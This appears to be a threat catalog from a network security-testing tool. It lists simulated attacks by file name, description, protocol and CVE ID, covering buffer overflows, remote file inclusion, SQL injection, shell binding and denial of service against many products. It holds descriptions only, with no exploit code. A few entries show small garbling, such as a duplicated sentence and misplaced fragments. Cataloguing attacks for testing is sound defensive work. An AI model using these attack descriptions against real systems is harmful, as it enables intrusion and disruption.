Executive Description:	Datenbank Module For PHPBB Remote Mod.PHP Cross-Site Scripting Vulnerability
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. PHPBB is a we based application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1171
OSVDB:	15811
Threat Package:	Standard
Threat File Name:	ms05-030_nnntp_IPv6.xml
Executive Description:	MS05-030 NNTP Crash On Outlook Express (IPv6 Version)
Detailed Description:	This threat causes a crash and can be used to cause remote code execution Outlook Express through a malicious NNTP server. NNTP is the protocol used for Usenet, and typically runs on port 119. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	NNTP/IPv6
CVEID:	CVE-2005-1213
OSVDB:	17306
Threat Package:	Standard
Threat File Name:	TSL20131212-05_EMC_CMCNE_http-file-upload_war_FileUploadController_Arbitrary_File_Upload_IPv6.xml

Executive Description:	EMC CMCNE http-file-upload.war FileUploadController Arbitrary File Upload(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the FileUploadController servlet of http-file-upload.war when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-6810
OSVDB:	101195
Threat File Name:	TSL20160907-06_Trend_Micro_SafeSync_for_Enterprise_ad_pm_id_Remote_Command_Execution.xml
Executive Description:	Trend Micro SafeSync for Enterprise ad.pm id Remote Command Execution
Detailed Description:	A remote command execution vulnerability exists in Trend Micro SafeSync for Enterprise ad.pm page. The vulnerability is due to insufficient validation of the user-supplied id parameter. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of SYSTEM.
Protocol Type:	HTTPS
Threat File Name:	TSL20130214-04_WellinTech_KingView_KingMess_Log_File_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	WellinTech KingView KingMess Log File Parsing Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been reported in KingView's KingMess. The vulnerability is due to an error while parsing log files. An attacker can exploit this vulnerability by enticing a user to open a specially crafted log file. This can lead to a buffer overflow and possibly code execution in the context of the affected application. If code execution is unsuccessful, the application may terminate unexpectedly.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2012-4711
OSVDB:	89690
Threat File Name:	TSL20130730-02_HP_SiteScope_SOAP_Call_runOMAgentCommand_Command_Injection_IPv6.xml
Executive Description:	HP SiteScope SOAP Call runOMAgentCommand Command Injection [IPv6, Version]
Detailed Description:	A command injection vulnerability exists in HP SiteScope SOAP component. The vulnerability is due to insufficient validation of "omHost" key value. A remote unauthenticated attacker can leverage this vulnerability to execute arbitrary command with the SYSTEM context on the vulnerable target.
Protocol Type:	IPV6,SOAP,HTTP
CVEID:	CVE-2013-2367
OSVDB:	95824
Threat File Name:	TSL20120508-11_Microsoft_Excel_File_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Excel File Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Excel. The vulnerability is due to the way in which Excel processes various modified bytes in Excel files. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0143
OSVDB:	81726
Threat File Name:	FSC20100914-03_Microsoft_MPEG-4_Codec_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft MPEG-4 Codec Remote Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft's MPEG-4 Codec. The vulnerability is due to an integer overflow while processing certain values in an ASF media file. An attacker can exploit this vulnerability by enticing a user to process a malicious file. This can result in remote code execution in the context of the vulnerable application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,MMS,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-0818
Threat Package:	Standard
Threat File Name:	FSC20090910-09_Apple_QuickTime_FlashPix_File_Buffer_Overflow.xml
Executive Description:	Apple QuickTime FlashPix File Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability has been reported in Apple QuickTime. The error is due to improper bounds checking when handling FlashPix files. A remote attacker can exploit this vulnerability by enticing a user to view specially crafted FlashPix files. Successful exploitation of this vulnerability can lead to arbitrary code execution in the context of the current user. An unsuccessful code execution attempt can lead to abnormal termination of the vulnerable program.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-2798
Threat Package:	Standard
Threat File Name:	peercast.xml
Executive Description:	Peercast URL Format String Attack
Detailed Description:	This threat attacks the Peercast streaming server with a format string attack. This attack causes the application to bind a shell on port 4444. Peercast is a HTTP based application that typically listens on port 7144.
Protocol Type:	HTTP
CVEID:	CVE-2005-1806
OSVDB:	16906
Threat Package:	Standard
Threat File Name:	FSC20070424-14_CA_BrightStor_ARCserve_Backup_Media_Server_SUN_RPC_Service_Buffer_Overflow_IPv6.xml

Executive Description:	CA BrightStor ARCserve Backup Media Server SUN RPC Service Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in CA BrightStor ARCserve Media Server. The vulnerability is due to insufficient boundary checking when processing crafted strings supplied in SUN RPC requests. Successful exploitation of this vulnerability allows a remote unauthenticated attacker to execute arbitrary code on the vulnerable system in the context of the affected application, commonly System. (IPv6 Version)
Protocol Type:	OS-LICMAN/IPv6
CVEID:	CVE-2007-2139
Threat Package:	Standard
Threat File Name:	FSC20080731-09_GNOME_Project_libxslt_Library_RC4_Key_String_Buffer_Overflow_IPv6.xml
Executive Description:	GNOME Project libxslt Library RC4 Key String Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a heap based buffer overflow vulnerability in RC4 libxslt libraryextension. The vulnerability is due to a boundary error in handling of strings passed to RC4 encryption/decryption functions. This vulnerability can be exploited using a crafted stylesheet leading to a heap-based buffer overflow, which could allow the attacker to execute arbitrary code with privileges of the application using the libxslt library to perform XSL transformations. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2935
Threat Package:	Standard
Threat File Name:	FSC20060206-02_IBM_Lotus_Domino_LDAP_Server_Memory_Exception_Vulnerability_IPv6.xml
Executive Description:	IBM Lotus Domino LDAP Server Memory Exception Vulnerability (IPv6 Version)
Detailed Description:	There exists a memory exception vulnerability in IBM Lotus Domino LDAP Server. The flaw is caused by improper validation of the user supplied data in an LDAP bind request. An attacker can exploit this vulnerability to terminate the target server which causes a denial of service condition. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2006-0580
Threat Package:	Standard
Threat File Name:	FSC20100720-01_Microsoft_Windows_LNK_File_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows LNK File Code Execution (IPv6 Version)
Detailed Description:	A vulnerability exists in Microsoft Windows that may allow execution of arbitrary code on the target machine. The vulnerability is due to a design weakness in Windows Shell which incorrectly parses shortcuts in such a way that malicious code may be executed when the crafted file is opened either manually or automatically with Windows Explorer. This vulnerability is most likely to be exploited through removable drives containing malicious LNK files, especially on systems that have AutoPlay enabled.
Protocol Type:	IPv6,HTTP,HTTPS,SMB,WebDAV
CVEID:	CVE-2010-2568
Threat Package:	Standard
Threat File Name:	TSL20130514-33_Microsoft_Internet_Explorer_VML_Processing_Integer_Underflow_IPv6.xml
Executive Description:	Microsoft Internet Explorer VML Processing Integer Underflow [IPv6, Version]
Detailed Description:	An integer underflow vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling Vector Markup Language (VML) objects. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-255
OSVDB:	91197
Threat File Name:	dlink_bypassAuth_IPv6.xml
Executive Description:	D-Link DSL Router Authentication Bypass (IPv6 Version)
Detailed Description:	This threat bypasses the authentication mechanisms put in place by D-Link DSL routers. This is performed by requesting a file on the system which can place the attackers IP into an allowed list, requiring no authentication. From here the user can alter the router's configuration. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1680
OSVDB:	16691
Threat Package:	Standard
Threat File Name:	sipbadaccept_IPv6.xml
Executive Description:	SIPPING: Unacceptable Accept (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message requiring an unknown Accept: type. This is technically valid but unexpected and may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	smtp_vrfy.xml
Executive Description:	SMTP Probe VRFY all
Detailed Description:	This threat sends the VRFY all statement to an SMTP server. This command is used to enumerate all email addresses belonging to group all, if it exists.
Protocol Type:	SMTP
CVEID:	CVE-1999-0531
OSVDB:	12551
Threat Package:	Standard
Threat File Name:	FSC20080513-08_Microsoft_Word_Cascading_Style_Sheet_Processing_Code_Execution.xml
Executive Description:	Microsoft Word Cascading Style Sheet Processing Code Execution

Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Word processes HTML files. The vulnerability is due to a memory handling error while parsing Cascading Style Sheet (CSS) values. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted HTML file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is attempted to be injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of the attack attempt. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-1434
Threat Package:	Standard
Threat File Name:	TSL20170316-06_Microsoft_Edge_CVE-2017-0065_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Edge CVE-2017-0065 Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Edge. This vulnerability is due to a design weakness in the affected software. A remote attacker can exploit this vulnerability by enticing the victim to open a maliciously crafted web page. Successful exploitation would allow the attacker to gain sensitive information.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0065
Threat File Name:	sipunknownheaders_IPv6.xml
Executive Description:	SIP Unknown Headers (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with some unknown headers and associated values. This can confuse or crash a PBX that isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20090414-06_Microsoft_HTTP_Services_Chunked_Encoding_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft HTTP Services Chunked Encoding Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability has been reported in Microsoft Windows HTTP Services. The flaw is due to improper validation of parameters returned by a remote Web server. An attacker can persuade the target user or a service running on the target system to connect to a malicious Web Server to exploit this vulnerability. Successful attack could allow for arbitrary code execution and complete control of the targeted system. In an attack scenario, where arbitrary code is injected and executed on the target system, the attacker could install applications; access, modify, and delete data; or create new accounts with privileges of the user or service that connected to the malicious Web server. Unsuccessful attacks could result in the termination of any Windows service or third party application using HTTP services. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0086
Threat Package:	Standard
Threat File Name:	mercur_imap_rbof_IPv6.xml
Executive Description:	Mercur Mailserver 5.0 SP3 (IMAP) Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IMAP/IPv6
Threat Package:	Standard
Threat File Name:	aardvarktopsites_cmi_IPv6.xml
Executive Description:	Aardvark Topsites PHP 4.2.2 Arbitrary Command Execution (join.php) (IPv6 Version)
Detailed Description:	This threat leverages an arbitrary file inclusion flaw into a remote command execution flaw through a flaw in the join.php script. Aardvark Topsites is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	siplocalhostinvite.xml
Executive Description:	SIP localhost INVITE
Detailed Description:	This threat sends out a SIP INVITE message instructing responses to be sent to localhost.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	wizzforum_sqli2.xml
Executive Description:	Wizz Forum SQL Injection vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server. Wizz Forum is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3682
OSVDB:	20846
Threat Package:	Standard
Threat File Name:	tftpdwin_bof.xml
Executive Description:	TFTPDWIN 0.4.2 Remote Buffer Overflow Vulnerability
Detailed Description:	This threat leverages a stack-based buffer overflow in TFTPDWIN 0.4.2 and earlier that allows for execution of arbitrary code or DoS via a long file name. TFTPDWIN is a tftp server that typically listens on udp port 69.
Protocol Type:	TFTP
CVEID:	CVE-2006-4948
OSVDB:	29032
Threat Package:	Standard
Threat File Name:	draw_office_remote_overwrite_IPv6.xml
Executive Description:	Draw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a flaw in the Draw Office Viewer ActiveX application, that results in the deletion of arbitrary files. This threat is delivered via a malicious web page, accessible via port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3168

Threat Package:	Standard
Threat File Name:	TSL20111011-18_Microsoft_Internet_Explorer_Option_Element_Use-After-Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Option Element Use-After-Free(IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to the way the Option elements are handled by Internet Explorer. A remote attacker could exploit this vulnerability by enticing a target user to view a specially crafted webpage, or open a crafted Microsoft Office document that hosts the IE rendering engine and contains an ActiveX control marked "safe for initialization". A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-1996
Threat File Name:	fuzz-HTTP-DELETE_PrependedHTTPWithformatn.xml
Executive Description:	Fuzz HTTP DELETE with Request-URI prepended with %n
Detailed Description:	Fuzzes the Request-URI field by prepending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	ftp_buffer_overflow_129_IPv6.xml
Executive Description:	FTP Buffer Overflow [129] Attack (IPv6 Version)
Detailed Description:	This generic threat sends a long buffer [129 bytes] against an FTP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	rsgallery_cmi_IPv6.xml
Executive Description:	RsGallery2 1.11.2 (rsgallery.html.php) File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query containing a url to a file to be included in the returned page via the rsgallery.html.php "mosConfig_absolute_path" parameter. RsGallery2 is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	videolan_vlc_format_IPv6.xml
Executive Description:	VLC Media Player Format String Attack (IPv6 Version)
Detailed Description:	This attack sends a malicious file targeting the VLC player for Mac OS X. This sets off a format string condition, which can be exploitable. This attack comes from the virtual server, as from a malicious web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20141014-15_Microsoft_Office_Word_and_Web_Apps_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Word and Web Apps Memory Corruption IPv6 version.
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Word and Web Apps. The vulnerability is due to insufficient validation of input while processing specially crafted Office A memory corruption vulnerability exists in Microsoft Office Word and Web Apps. The vulnerability is due to insufficient validation of input while processing specially crafted Office files. A remote attacker can exploit this vulnerability by enticing the user to open a specially crafted Word file using the vulnerable software. This can result in arbitrary code execution on the affected machine in the context of the user privilege.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/SMB/CIFS/NFS.IPV6
CVEID:	CVE-2014-4117
OSVDB:	113190
Threat File Name:	FSC20080602-03_Apple_Safari_for_Windows_and_Internet_Explorer_Combined_Code_Execution.xml
Executive Description:	Apple Safari for Windows and Internet Explorer Combined Code Execution
Detailed Description:	There exists a cross application vulnerability in Apple Safari on Windows when residing on a system with Microsoft Internet Explorer installed. Specifically, as a result of this vulnerability a remote attacker can download and execute arbitrary files on a victim's system without requiring permission. Successful exploitation of this vulnerability might lead to arbitrary code execution on the target host with the privileges of the current user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, unknown files can be found in the desktop.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	TSL20140709-02_Microsoft_Internet_Explorer_CVE-2014-2804_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-2804 Use After Free
Detailed Description:	A use after free vulnerability exist in Microsoft Internet Explorer. The vulnerability is due to an error .A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.while handling certain objects when processing HTML and script code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-2804
Threat File Name:	TSL20111018-13_Oracle_Outside_In_CorelDRAW_File_Parser_Integer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In CorelDRAW File Parser Integer Overflow(IPv6 Version)
Detailed Description:	An integer overflow vulnerability that leads to a heap buffer overflow exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling CorelDRAW (.cdr) files. Oracle Outside-In is used by many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to process a malformed .cdr file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3541
Threat File Name:	fuzz-IP_TTL.xml

Executive Description:	Fuzzer for Protocol:IP and Field:TTL
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	tlm_cms_rfi.xml
Executive Description:	TLM CMS <= 1.1 (i-accueil.php chemin) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.TLM CMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070710-14_Microsoft_Excel_rtWindowl_Record_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel rtWindowl Record Handling Code Execution (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Excel handles XLS files that contain invalid values within the rtWindowl records. A remote attacker can exploit this vulnerability by persuading a target user to open a specially crafted XLS file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3029
Threat Package:	Standard
Threat File Name:	FSC20071116-03_Microsoft_Office_Jet_Engine_MDB_File_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Jet Engine MDB File Parsing Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Jet Engine. The flaw is due to boundary errors when processing MDB database files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted MDB file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6026
Threat Package:	Standard
Threat File Name:	ie6_mshtml_dos.xml
Executive Description:	Internet Explorer 6 mshtml.dll DoS
Detailed Description:	This server based threat sends a malicious html document causing a crash in mshtml.dll, Internet Explorer is a web browser that typically connects on port 80.
Protocol Type:	HTTP
Threat File Name:	photocart_rfi_IPv6.xml
Executive Description:	PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhotoCart is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6093
Threat Package:	Standard
Threat File Name:	FSC20060404-13_UltraVNC_VNCLog_Buffer_Overflow.xml
Executive Description:	UltraVNC VNCLog Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the UltraVNC server. The vulnerability is caused by improper validation of user supplied requests sent to the affected component. A successful attack can result in the termination of the UltraVNC service.
Protocol Type:	VNC
CVEID:	CVE-2006-1652
Threat Package:	Standard
Threat File Name:	NOOPtcpUNIX_IPv6.xml
Executive Description:	TCP NOOP packet variant HP-UNIX (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20110916-03_Microsoft_Office_Excel_Record_Out_of_Bounds_Index_IPv6.xml
Executive Description:	Microsoft Office Excel Record Out of Bounds Index(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to insufficient bounds checking while parsing a certain value within a DataFormat record in an Excel file. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1990
Threat File Name:	TSL20131112-11_Microsoft_Internet_Explorer_Print_Preview_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Internet Explorer Print Preview Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer's print preview function handles certain crafted URLs. This can allow an attacker to discover information from any page the victim is viewing.</para><para>A remote attacker could exploit this vulnerability by enticing a user to view a specially crafted web page. This vulnerability may also require enticing the victim to print preview the page, depending on Internet Explorer settings. Successful exploitation could result in page information being disclosed.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-3908
OSVDB:	99644

Threat File Name:	FSC20080404-06_CA_ARCserve_Backup_for_Laptops_and_Desktops_NetBackup_Arbitrary_File_Upload.xml
Executive Description:	CA ARCserve Backup for Laptops and Desktops NetBackup Arbitrary File Upload
Detailed Description:	There exists a security bypass vulnerability in CA ARCserve Backup for Laptops and Desktops. The vulnerability is due to NetBackup service not sanitizing malicious content in client request. As a result, a remote unauthenticated attacker can upload arbitrary files to controllable location on the server. Successful exploitation of this vulnerability can allow execution of arbitrary code with SYSTEM privileges.
Protocol Type:	SSDP
CVEID:	CVE-2008-1329
Threat Package:	Standard
Threat File Name:	FSC20040401-03_Ethereal_Netflow_Dissector_Buffer_Overflow.xml
Executive Description:	Ethereal Netflow Dissector Buffer Overflow
Detailed Description:	There is a buffer overflow in the NetFlow dissector within Ethereal, a program that is used to capture and dissect network packets. It is possible for a remote attacker to execute arbitrary code in the context of the ROOT or LOCAL_SYSTEM user.
Protocol Type:	UDP
CVEID:	CVE-2004-0176
Threat Package:	Standard
Threat File Name:	Blog_cms_rfi.xml
Executive Description:	Blog:CMS NP_UserSharing.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Blog:CMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5767
Threat Package:	Standard
Threat File Name:	fuzz-IP_CE_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:CE (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20040527-02_Multiple_Browsers_Telnet_URI_Handler_File_Manipulation_Vulnerability_IPv6.xml
Executive Description:	Multiple Browsers Telnet URI Handler File Manipulation Vulnerability (IPv6 Version)
Detailed Description:	There is a malformed URI vulnerability that affects various web-browsers. There is insufficient input validation for telnet URI (e.g., telnet://hostname). Namely, the affected products do not validate or filter "-" characters at the beginning of host-names. Telnet software activated by the browsers treat these as command-line options. As such, a malicious attacker may be able to compromise the target machine. Specifically, it may be possible to create or truncate a file on the target system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0411
Threat Package:	Standard
Threat File Name:	TSL20161102-06_Adobe_Reader_DC_JPEG2000_CVE-2016-7854_Out-of-Bounds_Read.xml
Executive Description:	Adobe Reader DC JPEG2000 CVE-2016-7854 Out-of-Bounds Read
Detailed Description:	An out-of-bounds read vulnerability has been reported in Adobe Acrobat and Reader. The vulnerability is due to improper handling of JPEG2000 images. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted webpage or PDF document. Successful exploitation would allow the attacker to gain sensitive information that may help in further attacks.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
CVEID:	CVE-2016-7854
Threat File Name:	TSL20060920-05_GNU_gzip_LZH-Decompression_make_table_Stack_Modification.xml
Executive Description:	GNU gzip LZH Decompression make_table Stack Modification
Detailed Description:	There exists an array indexing error vulnerability in the GNU gzip application. The flaw is due to improper boundary checks when decompressing LZH archives. An attacker may leverage this vulnerability to cause the affected product to terminate unexpectedly and potentially execute arbitrary code on the target system. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack where code injection results is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. The risk of an attack resulting in successful exploitation is increased on 64 bit systems
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,FTP
CVEID:	CVE-2006-4335
Threat File Name:	ie6_dos2_IPv6.xml
Executive Description:	Internet Explorer 6.0.2900 SP2 Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This server based threat delivers an HTML payload via HTTP an unhandled exception occurs when the "position" CSS attribute is set to a table. Internet Explorer is a web browsing application which typically connects to hosts on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1719
Threat Package:	Standard
Threat File Name:	ms_media_server_activeX_bof_IPv6.xml
Executive Description:	Microsoft Windows Media Server MDSAuth.DLL ActiveX Control Remote Code Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft Windows Media Server ActiveX application, resulting in the overwriting of arbitrary files. This threat is delived via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2221
Threat Package:	Standard
Threat File Name:	flip4mac_wmv_corruption_IPv6.xml

Executive Description:	Telestream Flip4Mac WMV Parsing Memory Corruption Vulnerability (IPv6 Version)
Detailed Description:	This threat simulates a client requesting a media file, and the server replying with a maliciously constructed WMV file. This file will cause a memory corruption error in the Telestream Flip4Mac player. The transport of the WMV file is done via HTTP, which generally runs on port 80. The payload of this threat is for Intel based Macs. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0466
Threat Package:	Standard
Threat File Name:	mdweb_rfi.xml
Executive Description:	Mdweb132-postgres: Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MdWeb132-postgres is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5587
Threat Package:	Standard
Threat File Name:	lotus_domino_dos.xml
Executive Description:	Lotus Mail Loop Denial of Service
Detailed Description:	This threat sends an email with a sender address of bounce@[127.0.0.1]. This causes Lotus Domino Mail server to continue to deliver the mail back to itself in a rapid fashion, causing a denial of service. Lotus Domino Mail server listens on port 25 typically.
Protocol Type:	SMTP
CVEID:	CVE-2000-1203
OSVDB:	10816
Threat Package:	Standard
Threat File Name:	mfpideas_rfi_IPv6.xml
Executive Description:	MF Piadas 1.0 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity. MF Piadas is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3323
OSVDB:	26867
Threat Package:	Standard
Threat File Name:	TSL20120420-02_IBM_Rational_ClearQuest_CQ0le_ActiveX_Code_Execution.xml
Executive Description:	IBM Rational ClearQuest CQ0le ActiveX Code Execution
Detailed Description:	A security vulnerability has been reported in IBM's Rational ClearQuest CQ0le ActiveX control. The vulnerability is due to a function prototype mismatch in an API call provided by the control. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the target user's security context.
Protocol Type:	HTTP,HTTP
CVEID:	CVE-2012-0708
OSVDB:	81443
Threat File Name:	TSL20110620-05_Adobe_Shockwave_Director_tSAC_Chunk_String_Termination_Memory_Corruption_IPv6.xml
Executive Description:	Adobe Shockwave Director tSAC Chunk String Termination Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been identified in Adobe Shockwave Player. The vulnerability is due to the software blindly using a string-size value, which is provided in the file, to null-terminate a string. This allows an attacker to write a null-byte at a controlled offset from the beginning of the string buffer. A remote attacker can exploit this vulnerability by enticing a target user to visit a maliciously crafted web site containing a specially crafted Adobe Director file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged on user. An unsuccessful exploit attempt may terminate the affected application abnormally.
